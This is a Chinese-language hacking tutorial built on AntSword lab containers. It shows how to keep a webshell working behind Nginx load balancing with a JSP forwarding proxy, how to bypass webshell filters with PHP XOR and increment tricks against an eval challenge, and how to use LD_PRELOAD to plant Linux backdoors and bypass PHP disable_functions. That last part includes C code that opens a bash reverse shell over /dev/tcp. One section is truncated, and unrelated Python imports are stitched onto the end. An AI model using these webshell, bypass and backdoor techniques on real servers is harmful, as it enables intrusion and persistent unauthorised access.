一、Nginx负载均衡下的webshell连接
1.环境搭建以及webshell连接
这里使用docker搭建环境,解压进入/root/AntSword-Labs-master/loadbalance/loadbalance-jsp目录,直接docker-compose up -d
链接:https://pan.baidu.com/s/1jP9uWlrn0PwTGrnqQ-uZrw?pwd=3pza
提取码:3pza
然后蚁剑直接连接
因为两台服务器都有ant.jsp,所以连接不会出现问题
成功后进入终端,可以看到每次我们执行hostname -i命令都会输出不一样的结果,那是因为Nginx负载均衡代理飘忽不定,一会儿代理到node1,一会儿代理到node2
那这个时候就出现问题了
2.出现的问题
1.我们在执行命令时,无法知道下次的请求交给哪台机器去执行,也就是上图所展示的那样。
2.我们在上传工具时,由于工具可能较大,会被分片传输,那我们怎么知道这些数据包一定会上传 到同一台服务器呢,也就是说你的工具可能会被分成两半,一半在一台服务器上,而另一半在另 一台服务器上
比如,我这里上传的是1M的文件,但当你刷新时,文件被分成两半了
3.由于目标机器不能出外网,想进一步深入,只能使用 reGeorg/HTTPAbs 等 HTTP Tunnel,可 在这个场景下,这些 tunnel 脚本全部都失灵了。
由于这一块的内容我还没学习到,所以就简单说说
当我们拿下目标服务器之后,由于目标服务器不出网,想要到内网只能将目标服务器作为代理,建立一个隧道,给我们代理到内网去,但是由于Nginx负载均衡,数据传输到一半可能又会被转到另一台服务器上去
那这些问题怎么解决呢?
3.解决方案
1.关掉其中多余的服务器
这个方案理论上来说确实可行,关掉多余的服务器,只保留一台服务器,Nginx检测不到心跳包,自然会将其他服务器视为宕掉,那就不会有问题了
但是这个方案在真实环境中就是在作死,关掉服务器是很严重的安全事故,所以直接pass
实验环境下如果权限够可以试一试
2.利用shell脚本在执行命令前判断要不要执行
shell脚本如下
#!/bin/bash
MYIP=`hostname -i`
if [ $MYIP == "172.23.0.2" ];then
echo "Node1. I will exec command.\n=========\n"
hostname -i
else
echo "Other. Try again."
fi
由于内容少,文件体积小,可以直接通过蚁剑上传, 不会被分片传输
可以看到如果ip地址为172.23.0.3,那就不会执行命令,返回Try again
反之如果ip地址为172.23.0.4,那就执行命令,输出hostname -i结果
然而这种方法只解决了第一个问题------不知道哪台服务器会执行我们的命令
但是最重要的第二、第三个问题没有解决,我们依然无法上传我们的工具,无法确定数据包的走向
3.利用多余的服务器做一次web层面的流量转发
在这里我们可以把发给172.23.0.3的流量数据包发给我们想要的服务器上,也就是172.23.0.2,因为这两台web服务器是可以互相访问的
在每一台服务器上都传入这样一个脚本,让流量都转发到一台服务器上,注意ip修改成自己想要的服务器ip
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
public static void ignoreSsl() throws Exception {
HostnameVerifier hv = new HostnameVerifier() {
public boolean verify(String urlHostName, SSLSession session) {
return true;
}
};
trustAllHttpsCertificates();
HttpsURLConnection.setDefaultHostnameVerifier(hv);
}
private static void trustAllHttpsCertificates() throws Exception {
TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
public X509Certificate[] getAcceptedIssuers() {
return null;
}
@Override
public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
// Not implemented
}
@Override
public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
// Not implemented
}
} };
try {
SSLContext sc = SSLContext.getInstance("TLS");
sc.init(null, trustAllCerts, new java.security.SecureRandom());
HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
} catch (KeyManagementException e) {
e.printStackTrace();
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
}
}
%>
<%
String target = "http://172.23.0.2:8080/ant.jsp";
URL url = new URL(target);
if ("https".equalsIgnoreCase(url.getProtocol())) {
ignoreSsl();
}
HttpURLConnection conn = (HttpURLConnection)url.openConnection();
StringBuilder sb = new StringBuilder();
conn.setRequestMethod(request.getMethod());
conn.setConnectTimeout(30000);
conn.setDoOutput(true);
conn.setDoInput(true);
conn.setInstanceFollowRedirects(false);
conn.connect();
ByteArrayOutputStream baos=new ByteArrayOutputStream();
OutputStream out2 = conn.getOutputStream();
DataInputStream in=new DataInputStream(request.getInputStream());
byte[] buf = new byte[1024];
int len = 0;
while ((len = in.read(buf)) != -1) {
baos.write(buf, 0, len);
}
baos.flush();
baos.writeTo(out2);
baos.close();
InputStream inputStream = conn.getInputStream();
OutputStream out3=response.getOutputStream();
int len2 = 0;
while ((len2 = inputStream.read(buf)) != -1) {
out3.write(buf, 0, len2);
}
out3.flush();
out3.close();
%>
然后这时候不要直接用蚁剑传入,因为数据量大,可能会被分片
我们最好新建一个名为antproxy.jsp的文件,多新建几次,因为可能其他服务器没有新建成功,多刷新几次
然后复制我们的脚本,多保存几次,刷新
直到都为3.22kb为止
这时候我们再编辑连接,改为antproxy.jsp
这个时候会有一个问题就是明明脚本里面没有连接密码,那怎么会填入密码ant呢?
是因为这个脚本最终转发还是转发在了ant.jsp上,可以看上面的具体ip,而ant.jsp密码就是ant
连接成功后我们进入命令行
可以看到并没有出现之前的情况了,IP地址一直为172.23.0.2,不会再出现飘忽不定的现象了
二、Webshell的过滤绕过
1.异或操作绕过
先来看一段代码
<?php
echo "A"^"`";//结果为"!"
?>
很多人会好奇为什么会输出"!"
之所以会得到这样的结果,是因为代码中对字符"A"和字符"`"进行了异或操作。
在PHP中,两个变量进行异或时,先会将字符串转换成ASCII值,再将ASCII值转换成二进制再进行异或,异或完,又将结果从二进制转换成了ASCII值,再将ASCII值转换成字符串。异或操作有时也被用来交换两个变量的值。
比如像上面这个例子
A的ASCII值是65,对应的二进制值是0100 0001
`的ASCII值是96,对应的二进制值是0110 0000
在php中,异或操作是两个二进制数相同时,异或为0,不同为1
简单来说就是 有且仅有一个为true,就返回true
异或的二进制的值是00100001,对应的ASCII值是33,对应的字符串的值就是"!"了
再来看下面这段代码,很典型的异或操作绕过
PHP中是可以以下划线开头为变量名的,所以$_代表名为_的变量
<?php
$_++; // $_ = 1
$__=("#"^"|"); // $__ = _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>
那么我们现在来做一道题
这道题需要我们执行getFlag函数,通过GET传参,并对code参数进行了字母大小写和数字过滤
这道题就可以用异或操作来绕过
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
<?php
function getFlag(){
echo "{bypass successfully!}";
}
?>
payload如下
?code=$_="`{{{"^"?<>/";${$_}[_]();&_=getFlag
"`{{{"^"?<>/"的结果是"_GET",所以${$_}[_]()=$_GET[_](),而此时_=getFlag
所以直接就执行了getFlag(),拿到flag
作绕过
先来看一段代码
<?php
$a = "getFlag";
echo urlencode(~$a);
?>
3.PHP语法绕过
依然先来看一段代码
<?php
$a='Z';
echo ++$a; //AA
echo ++$a; //AB
?>
在处理字符变量的算数运算时,PHP 沿袭了 Perl 的习惯,而非 C 的。例如,在 Perl 中 $a = ‘Z’; $a++; 将把 $a 变成’AA’,而在 C 中,a = ‘Z’; a++; 将把 a 变成 ‘[’(‘Z’ 的 ASCII 值是 90,‘[’ 的 ASCII 值是 91)。注意字符变量只能递增,不能递减,并且只支持纯字母(a-z 和 A-Z)。递增/递减其他字符变量则无效,原字符串没有变化。
也就是说,‘a’++ => ‘b’,‘b’++ => ‘c’… 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。
那么,如何拿到一个值为字符串’a’的变量呢?
巧了,数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。
在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array
<?php
echo ''.[];
?>
三、LD_PRELOAD的利用
1.初识LD_PRELOAD
LD_PRELOAD是Linux/Unix系统的一个环境变量,它影响程序的运行时的链接(Runtime linker),它允许在程序运行前定义优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。
我们可以重写程序运行过程中所调用的函数并将其编译为动态链接库文件,然后通过我们对环境变量的控制来让程序优先加载这里的恶意的动态链接库,进而实现我们在动态链接库中所写的恶意函数。
2.利用LD_PRELOAD
首先我们先在内部测试一下这个方案的可行性
假定这是一个正常的编译文件命名为whoami.c
这段代码实现了一个name数组的判断
gcc -o whoami whoami.c编译
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
char name[] = "mon";
if (argc < 2) {
printf("usage: %s <given-name>\n", argv[0]);
return 0;
}
if (!strcmp(name, argv[1])) {
printf("\033[0;32;32mYour name Correct!\n\033[m");
return 1;
} else {
printf("\033[0;32;31mYour name Wrong!\n\033[m");
return 0;
}
}
这时候我们来劫持srtcmp函数命名为hook_strcmp.c
使这个函数无论恒为假
#include <stdlib.h>
#include <string.h>
int strcmp(const char *s1, const char *s2) {
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
return 0;
}
将我们写的函数编译成为动态链接库文件
gcc -shared -fPIC hook_strcmp.c -o hook_strcmp.so
然后导入到环境变量里面去
export LD_PRELOAD=$PWD/hook_strcmp.so
函数被劫持前正常执行whoami.c
被劫持后执行whoami.c
很明显此时我们已经劫持了 strcmp 函数
2.1.制作linux后门
那这样我们就可以利用系统命令来加载后门,因为在操作系统中,命令行下的命令实际上是由一系列动态链接库驱动的
既然都是使用动态链接库,那么假如我们使用 LD_PRELOAD 替换掉系统命令会调用的动态链接库,那么我们就可以利用系统命令调用动态链接库来实现我们写在 LD_PRELOAD 中的恶意动态链接库中恶意代码的执行了
在 linux 中我们可以使用readelf -Ws命令来查看,同时系统命令存储的路径为/uer/bin
readelf -Ws /usr/bin 看看有哪些动态链接库
这里我们挑选一个操作起来比较方便的链接库,选择到 strncmp@GLIBC_2.2.5
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("id");
}
int strncmp(const char *__s1, const char *__s2, size_t __n) { // 这里函数的定义可以根据报错信息进行确定
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}
同样gcc编译,然后导入到环境变量里面去
gcc -shared -fPIC hook_strncmp.c -o hook_strncmp.so
export LD_PRELOAD=$PWD/hook_strncmp.so
然后执行ls,发现打印了id,成功劫持函数
既然可以执行id,那就可以执行反弹shell的命令,这里就不再做演示了
2.2.绕过PHPdisable_function
直接进入目录,运行docker环境
root@localhost:~/antsword/bypass_disable_functions/1# docker-compose up -d
搭建好后蚁剑连接
新建一个文件写入phpinfo(),(如果这里显示新建失败,进入到docker容器里)
执行以下代码
chown -R www-data:www-data /var/www/
chmod +x /start.sh
新建成功后找到disable_function,发现基本上执行命令的函数都被禁止了
这个时候就可以通过LD_PRELOAD来绕过
要绕过disable_function,我们需要php去启动一个新进程,比如mail、error_log等函数
这里我们使用sendmail函数在内部尝试
CentOS下默认是有这个函数的,而Ubuntu可能没有,需要apt安装
然后老样子readelf -Ws /usr/sbin/sendmail,选择一个简单易覆写的函数
getuid
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("bash -c 'bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/2333 0>&1'");
}
uid_t getuid() {
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}
注意这里记得改成自己想反弹的ip
然后和上面步骤一样,gcc编译
编译后我们可以利用 putenv 函数来实现链接库的设置 文件名为sendmail.php
由于这里是实验环境,所以直接在root家目录下设置环境变量
<?php
putenv('LD_PRELOAD=/root/hook_getuid.so');
mail("a@localhost","","","","");
?>
先在反弹机器上nc监听 ,然后直接运行 php sendmail.php
成功反弹shell
error_log函数也可以实现这样的效果,但其本质还是sendmail,这里就不再复述
我们可以发现,上面的情况实际上导致了我们的攻击面是非常窄小的,我们在实际情况中很容易就会出现并没有安装 sendmail 的情况,就和我一开始进行测试的时候一样 www-data 权限又不可能去更改 php.ini 配置、去安装 sendmail 软件等。那么有没有什么其他的方法呢?
劫持系统新进程
设想这样一种思路:利用漏洞控制 web 启动新进程 a.bin(即便进程名无法让我随意指定),a.bin 内部调用系统函数 b(),b() 位于系统共享对象 c.so 中,所以系统为该进程加载共 c.so,我想法在 c.so 前优先加载可控的 c_evil.so,c_evil.so 内含与 b() 同名的恶意函数,由于 c_evil.so 优先级较高,所以,a.bin 将调用到 c_evil.so 内 b() 而非系统的 c.so 内 b(),同时,c_evil.so 可控,达到执行恶意代码的目的。基于这一思路,将突破 disable_functions 限制执行操作系统命令这一目标,大致分解成几步在本地推演:查看进程调用系统函数明细、操作系统环境下劫持系统函数注入代码、找寻内部启动新进程的 PHP 函数、PHP 环境下劫持系统函数注入代码。
系统通过 LD_PRELOAD 预先加载共享对象,如果能找到一个方式,在加载时就执行代码,而不用考虑劫持某一系统函数,那么就完全可以不依赖 sendmail 了。
在 GCC 中有一个 C 语言的扩展修饰符 attribute((constructor)) ,这个修饰符可以让由它修饰的函数在 main() 之前执行,如果它出现在我们的动态链接库中,那么我们的动态链接库文件一旦被系统加载就将立即执行__attribute__((constructor)) 所修饰的函数。
我们现在不再劫持函数,直接劫持加载动态链接库的函数,所以成功后执行任何需要加载动态链接库的系统命令都会执行我们的后门
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void preload (void){
unsetenv("LD_PRELOAD");
system("id");
}
与上面相同,gcc编译,然后导入环境变量
可以看到执行ls和whoami都执行了id命令
我们可以使用蚁剑的插件来绕过disable_function
windows,linux 蚁剑下载与安装 与 手动安装插件disable_functions_蚁剑下载插件disable function_Sk1y的博客-CSDN博客
选择LD_PRELOAD,点击开始
然后编辑连接,更改为.antproxy.php,这是蚁剑自动生成的脚本
再执行命令,发现执行成功
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
import seaborn as sns
import warnings
warnings.filterwarnings('ignore')
import ssl
ssl._create_default_https_context = ssl._create_unverified_context